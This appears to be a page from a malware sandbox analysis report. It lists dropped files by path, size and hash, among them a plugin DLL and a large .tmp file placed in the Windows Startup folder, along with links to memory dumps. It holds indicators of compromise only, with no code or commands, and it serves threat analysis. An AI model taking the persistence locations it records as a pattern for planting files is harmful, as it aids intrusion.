Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95978f0cd185a63a1f101279a7dab24a31aa1f79c50a93a0e5ec2ef78f56b7c1
MD5 eabdd04bf5edeab42ad20528f9745933
SHA1 ff047df122051917fb7d25d0f5a76788f4b5ca7c
SHA512 e8784866ffee75e66283c3e47f57a8522e6e616f19cbfb692721525e72e574a5b60d9d125c41210f1e57d30e60be05b3d7fdbcf34ce7d31948e60078bc76c350
TLSH
T118217827B3DC8860CCDA1636108D9C5532A692CB81DECFDB2AC0C21195BF6C8CB61250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f270ffb3e77ecedaf113ca86e9572569444d1e76e73c50106d60a720b6a3c977
MD5 f91b8f0ef25e4e77072c644813e52783
SHA1 f3f7af9ca0ac0449c73baaad39ca6172894abfa8
SHA512 6e1cf6324d37a41850e8157c35f3333c6bd52142b928368970f69c0608e13eb3d29b11cff99bc0b087995841712ffd5aa3cf8bf2fc61c51d7bca0db0c5f7ade3
TLSH
T1B0217823B39D8820CCD5153A509D9C5072A682C781DFCF9F6EC0C21191BFAC8CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

35945d51-18a9-4cff-bbc2-cb40f4eb670c.tmp

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\35945d51-18a9-4cff-bbc2-cb40f4eb670c.tmp
Size 3KB
SHA256 2371e31ebe5122c41b7f4669971a2acfd489b79432dcf43bcc4313b13e6b511d
MD5 b326c6e7124ba18aac7d45e11925d35f
SHA1 a4eda1af763c77fd783eb8dc74777d3ab8cc6264
SHA512 f8cae9fb6955ab7ca776f0214668cf4d63e6816633986bfe512564d19964b107419ae2d25d8814c874b84f7e66bca2d3f3b32c03d3eb1fdded11ba7dd86237f0
TLSH
T13771D6B2E4B4AC7319BAD985F5423E43CBB4725BA5116B98DADD0A0C04FB5EC1306917
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Crashpad\settings.dat
Size 40B
SHA256 0ed8815c11c933a2af0226d2eabf42f8685d55b76fa8c2d211b62360ce616335
MD5 eea6e67488308d2144e6d4eeef3bc61c
SHA1 753247837359573c6f14c08f60c75d89029d9d98
SHA512 082aedfff507b5008dbfdf2f2bb4554baaa6be56705923133d75300f9f05f8f7e6ecf66cca5848fc378a7b1d5f17a73e9f862885594603ffdcd348c0bf958643
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Code Cache\js\index-dir\temp-index
Size 72B
SHA256 922879c97676bd4bc62be22aa03d09dbb6247a74a4a68b890c546c28e8c56546
MD5 dfbb09bd141249b8e5d72f49c2e4fe11
SHA1 0329dc2b193e3a0702baec4eebae4a1c0deb6c6d
SHA512 1012c82cee00faead03909e0aac9da67210e0a06a63666d13b6dc41b3b390258d223b015b0a0e947a9b2dc96499d0a3c217c18e63c25f13ffcc2934ee2a0ae0a
TLSH
T194A0021527F00461CA506271549105C96A698A2B125197A3A2E640A68C523F27106047
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 4a2c95aaa1f398d34bb24d78b1af28c8504d86c27d915ae99d6c3ce6cb0314e3
MD5 acb3dd9f7e0e5878ef7fa0b6680deded
SHA1 4052742dbac79f836f90f513de4332fd98e0bcc7
SHA512 eb21c5edcf470f5b97ff2de77cbb539698eef7c6569c653db78dd76808a2909a4d905839bb09a3cc285abdb81128c58c88e9e0833c6309d2a671025fdcc77794
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Extension Rules\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Extension Scripts\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Default\Service Worker\ScriptCache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Local State
Size 1KB
SHA256 98f5608a6bc2c41d11cedc7f2157f84a5dc56117724a4128015474b4ef4167e0
MD5 5c9bbd92d5a3a1c1da014df74312b7f8
SHA1 eb60d0d5138f764e21fb91fa7137788d4ec69984
SHA512 c89a344d274347948f43132e9b4fb0974175ae7c509fc19d96dc1bc23318556e167a44996fda447bd9f0006cbd8cf7505c57647473ce61f5f30d763f646c398c
TLSH
T1B9117532B8B439917E558F2AA281FAD74E30512FC05286497BCE1440087729C2205C35
MD5 SHA1 SHA512 TLSH

Submit Download

27122298-6bd6-4d7d-9521-e4204425f03e.tmp

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\extensions_crx_cache\27122298-6bd6-4d7d-9521-e4204425f03e.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_4s22033f.y2n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4s22033f.y2n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

fukkarita.dll

Path C:\Users\Admin\AppData\Local\Winagent\plugins\fukkarita\b21f6b21264e2ae4238412a942c2d922223a1ea78fea8013184310fd6024103b\fukkarita.dll
Size 364KB
SHA256 b21f6b21264e2ae4238412a942c2d922223a1ea78fea8013184310fd6024103b
MD5 82b8d5a59e7608bd5abdeb23292f0553
SHA1 c8d06b40ff120996c3aa96fa168d56c44386ae1e
SHA512 13171744513e06b8fa75971f197881bc909a57546180bb26e9afcd4b2d524a053c29b5b3c0139db2ef7fc6b07d052e5ca9c7b9310a5d10fb5d3a85bef23340cd
SSDEEP 6144:f4hwIv4Vd3p69NY0QTSb2YSbD6lX7aoWYx0tNVjTQ+NnjVForWWfuxLT1AeUY3WB:si6ZuD6pTqtNZQ+Np+uxlHA
TLSH
T17B845B25FBE105F9E867903888B39513D5727C5903B0AEEB53A499292F33FD1623BB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent-1687356383.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1687356383.tmp
Size 16.1MB
SHA256 f69d68b65a05f873262eab8fa74e94f285c8be35741763bf7f0adb7bdf6d1048
MD5 21219895459a0de4c0a7d64e47c56534
SHA1 1650818902611c105efc898fdeb691d196c7df2a
SHA512 368a0800ca95752f6cabd7b2067495e3f9d24817dc2d8a496214f4c1949e263dd9f886c493957858eb5917e2192cf9917b217754fd679789824b0fdb08b5fba9
SSDEEP 98304:RAS+MhpURvSH4F7t56SRULhmXlZDG6cc8AtFE3L5Nmm+KQ6DV6xh/alXHj:J5zOSHARXlJGbpJDA/alXD
TLSH
T136074A17E86605E9C0ADC6358566A663BB307C89473123D71B90F6247F3BBD0AEFA314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1856-48-0x000001D1335E0000-0x000001D1337FC000-memory.dmp

Download

memory/2032-261-0x0000019A90FB0000-0x0000019A91016000-memory.dmp

Download

memory/2032-262-0x0000019A928F0000-0x0000019A9294B000-memory.dmp

Download

memory/2348-9-0x000001B0ED850000-0x000001B0ED860000-memory.dmp

Download

memory/2348-10-0x000001B0ED850000-0x000001B0ED860000-memory.dmp

Download

memory/2348-16-0x000001B0ED800000-0x000001B0ED822000-memory.dmp

Download

memory/2348-31-0x000001B0ED850000-0x000001B0ED860000-memory.dmp

Download

memory/2404-114-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-218-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-90-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-296-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-91-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-58-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-85-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-78-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-81-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-50-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-82-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-84-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-260-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-266-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-267-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-83-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-268-0x00007FF797990000-0x00007FF79AAAB000-memory.dmp

Download

memory/2404-89-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/2404-288-0x0000000244E40000-0x000000024861C000-memory.dmp

Download

memory/3760-49-0x00007FF637F90000-0x00007FF63B0AB000-memory.dmp

Download